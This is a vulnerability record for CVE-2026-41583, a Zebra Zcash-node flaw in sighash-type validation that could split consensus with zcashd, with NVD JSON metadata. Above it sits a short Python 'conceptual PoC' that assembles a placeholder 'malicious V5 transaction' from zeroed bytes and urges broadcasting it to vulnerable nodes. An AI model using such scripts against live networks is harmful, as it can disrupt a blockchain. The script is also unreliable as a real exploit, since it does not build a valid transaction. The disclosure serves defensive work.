CVE-2026-41583

# Conceptual PoC for triggering consensus split # This script demonstrates constructing a transaction with a non-standard sighash type. # In a real scenario, this transaction would be mined by Zebra but rejected by zcashd. import struct def craft_malicious_v5_tx(): # Zcash transaction version 5 version = struct.pack('<I', 5) # Input placeholder (simplified) inputs = b'\x00' * 32 # Output placeholder outputs = b'\x00' * 32 # SIGHASH type: Using a value that Zebra fails to validate for V5 # Standard is 0x01 (ALL), here simulating an invalid type exploitation # e.g., 0xFF which might be rejected by spec but accepted by vulnerable Zebra invalid_sighash = struct.pack('<I', 0xFF) raw_tx = version + inputs + outputs + invalid_sighash return raw_tx.hex() if __name__ == "__main__": print("[+] Crafting malicious V5 transaction payload...") tx_hex = craft_malicious_v5_tx() print(f"[+] Malicious TX Hex: {tx_hex}") print("[!] Broadcast this to a vulnerable Zebra node to trigger consensus split.")

{"cve": {"id": "CVE-2026-41583", "sourceIdentifier": "[email protected]", "published": "2026-05-08T15:16:41.070", "lastModified": "2026-05-08T18:44:58.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZEBRA is a Zcash node written entirely in Rust. Prior to zebrad version 4.3.1 and prior to zebra-script version 5.0.2, after a refactoring, Zebra failed to validate a consensus rule that restricted the possible values of sighash hash types for V5 transactions which were enabled in the NU5 network upgrade. Zebra nodes could thus accept and eventually mine a block that would be considered invalid by zcashd nodes, creating a consensus split between Zebra and zcashd nodes. In a similar vein, for V4 transactions, Zebra mistakenly used the \"canonical\" hash type when computing the sighash while zcashd (correctly per the spec) uses the raw value, which could also crate a consensus split. This issue has been patched in zebrad version 4.3.1 and zebra-script version 5.0.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-573"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebra-script:*:*:*:*:*:rust:*:*", "versionEndExcluding": "5.0.2", "matchCriteriaId": "C00A15FC-1AB4-4FD0-A10D-214A4AD3A2B0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zfnd:zebrad:*:*:*:*:*:rust:*:*", "versionEndExcluding": "4.3.1", "matchCriteriaId": "0D5F3C05-ECFC-43B1-9168-8E114125F6B7"}]}]}], "references": [{"url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-8m29-fpq5-89jj", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}